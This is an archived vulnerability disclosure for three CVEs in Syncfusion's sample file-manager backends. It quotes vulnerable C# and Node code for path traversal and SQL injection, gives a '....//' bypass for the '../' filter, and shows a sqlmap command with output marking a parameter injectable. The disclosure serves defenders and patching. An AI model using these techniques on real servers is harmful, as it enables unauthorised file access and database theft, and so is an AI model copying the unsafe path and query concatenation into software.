Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-26563 PoC — Syncfusion ej2-filemanager-node-filesystem 路径遍历漏洞

Source
Associated Vulnerability
Title:Syncfusion ej2-filemanager-node-filesystem 路径遍历漏洞 (CVE-2023-26563)
Description:Syncfusion ej2-filemanager-node-filesystem是Syncfusion公司的一个应用程序。 Syncfusion ej2-filemanager-node-filesystem存在安全漏洞,该漏洞源于 filesystem-server.js容易受到目录遍历的攻击,攻击者利用该漏洞可以列出任何目录中的文件、读取任何文件、删除任何文件、将任何文件上传到 Web 服务器可访问的任何目录。
Readme
# CVE-2023-26563 - Local File Read in ASPCore Filemanager

Affected repository: https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/
Vulnerable versions before Git commit 7c8791084ff86d4a2c225756c490591f6e011a6c

The application fails to verify any of the paths provided by the user. As a result, it's possible to specify directory traversal sequences ("../") to list files in any directory, read any local file, upload any file to anywhere on the server and delete any file on the server.

In the ASP core repository, most of the actual functionality is implemented in `Models/PhysicalFileProvider.cs`.

In the case of downloading, the `names` parameter is taken directly from the user's input in the request.

```csharp
        public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
        {
            try
            {
                string physicalPath = GetPath(path);
                String extension;
                int count = 0;
                ...
                if (names.Length > 1)
                    DownloadZip(path, names);

                if (count == names.Length)
                {
                    DownloadFile(path, names);
                }
```

This path is then directly used within the Path.combine function.

```csharp
protected virtual void DownloadFile(string path, string[] names = null)
{

    if (!string.IsNullOrEmpty(path))
    {
        try
        {
            path = (Path.Combine(contentRootPath + path, names[0]));
            HttpResponse response = HttpContext.Current.Response;
            response.Buffer = true;
            response.Clear();
            response.ContentType = "APPLICATION/octet-stream";
            string extension = System.IO.Path.GetExtension(path);
            response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
            response.WriteFile(path);
            response.Flush();
            response.End();
        }
        catch (Exception ex) { throw ex; }
    }
    else throw new ArgumentNullException("name should not be null");

}
```

In most of the endpoints, they attempted to fix this with removing `../` but this can be trivially bypassed using something like `....//`, which after `.replace("../", "")`, will result in the original `../`.

# CVE-2023-26564 - Local File Read in EJ2 Node Filemanager

Affected repository: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem
Vulnerable versions before Git commit 65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6

While the application does contain a regex to block directory traversal sequences, it does this only sometimes. As a result:
- On Windows, it's possible to list files in any directory, read any local file, upload any file to anywhere on the server and delete any file on the server.
- On Linux, it is not possible to list files within a directory. However, as it is possible to download directories (which are then served as ZIP), it is possible for a user to download directories to list other files.

In the node repository, all functionality is offered within a single file:
https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem/blob/65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6/filesystem-server.js

For downloading files, the root cause is fairly self explanatory, with the application trusting the user's input when concatenating the file paths together:

```js
/**
 * Download a file or folder
 */
app.post('/Download', function (req, res) {
    replaceRequestParams(req, res);
    var downloadObj = JSON.parse(req.body.downloadInput);
    var permission; var permissionDenied = false;
    downloadObj.data.forEach(function (item) {
        var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
        permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
        if (permission != null && (!permission.read || !permission.download)) {
            permissionDenied = true;
            var errorMsg = new Error();
            errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
            errorMsg.code = "401";
            response = { error: errorMsg };
            response = JSON.stringify(response);
            res.setHeader('Content-Type', 'application/json');
            res.json(response);
        }
    });
    if (!permissionDenied) {
        if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
            var file = contentRootPath + downloadObj.path + downloadObj.names[0];
            res.download(file);
        } else {
            var archive = archiver('zip', {
                gzip: true,
                zlib: { level: 9 } // Sets the compression level.
            });
            var output = fs.createWriteStream('./Files.zip');
            downloadObj.data.forEach(function (item) {
                archive.on('error', function (err) {
                    throw err;
                });
                if (item.isFile) {
                    archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
                }
                else {
                    archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
                }
            });
```

# CVE-2023-26565 - SQL Injection in SQL Server Database File Provider

Affected repository: https://github.com/SyncfusionExamples/sql-server-database-aspcore-file-provider
Vulnerable versions before Git commit d671e09d0cfddb8e3c87f172d8a9ca4caf5980a6

In the SQL server repository, most of the actual functionality is implemented in `Models/SQLFileProvider.cs`.

The SQL injection is fairly standard and frequent within the affected repository and can be exploited with a simple `sqlmap` command:

```
sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:31:52 /2023-04-03/

[14:31:52] [INFO] testing connection to the target URL
[14:31:52] [INFO] testing if the target URL content is stable
[14:31:53] [INFO] target URL content is stable
[14:31:53] [INFO] testing if GET parameter 'path' is dynamic
[14:31:53] [WARNING] GET parameter 'path' does not appear to be dynamic
[14:31:54] [WARNING] heuristic (basic) test shows that GET parameter 'path' might not be injectable
[14:31:55] [INFO] testing for SQL injection on GET parameter 'path'
[14:31:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [INFO] testing 'Generic inline queries'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [INFO] testing 'Oracle AND time-based blind'

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[14:32:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [WARNING] GET parameter 'path' does not seem to be injectable
[14:32:00] [INFO] testing if GET parameter 'id' is dynamic
[14:32:00] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:32:00] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:32:01] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
```

Examples of vulnerable code snippets:

```csharp
try
{
    SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}
```

```csharp
try
{
    SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}
```

SQL injection results in full read access to the database with regards to however permissions are configured for the user account.
File Snapshot

[4.0K] /data/pocs/c2633da17f99af1c4cd7934e8cb3ba7dfa790048 └── [9.3K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.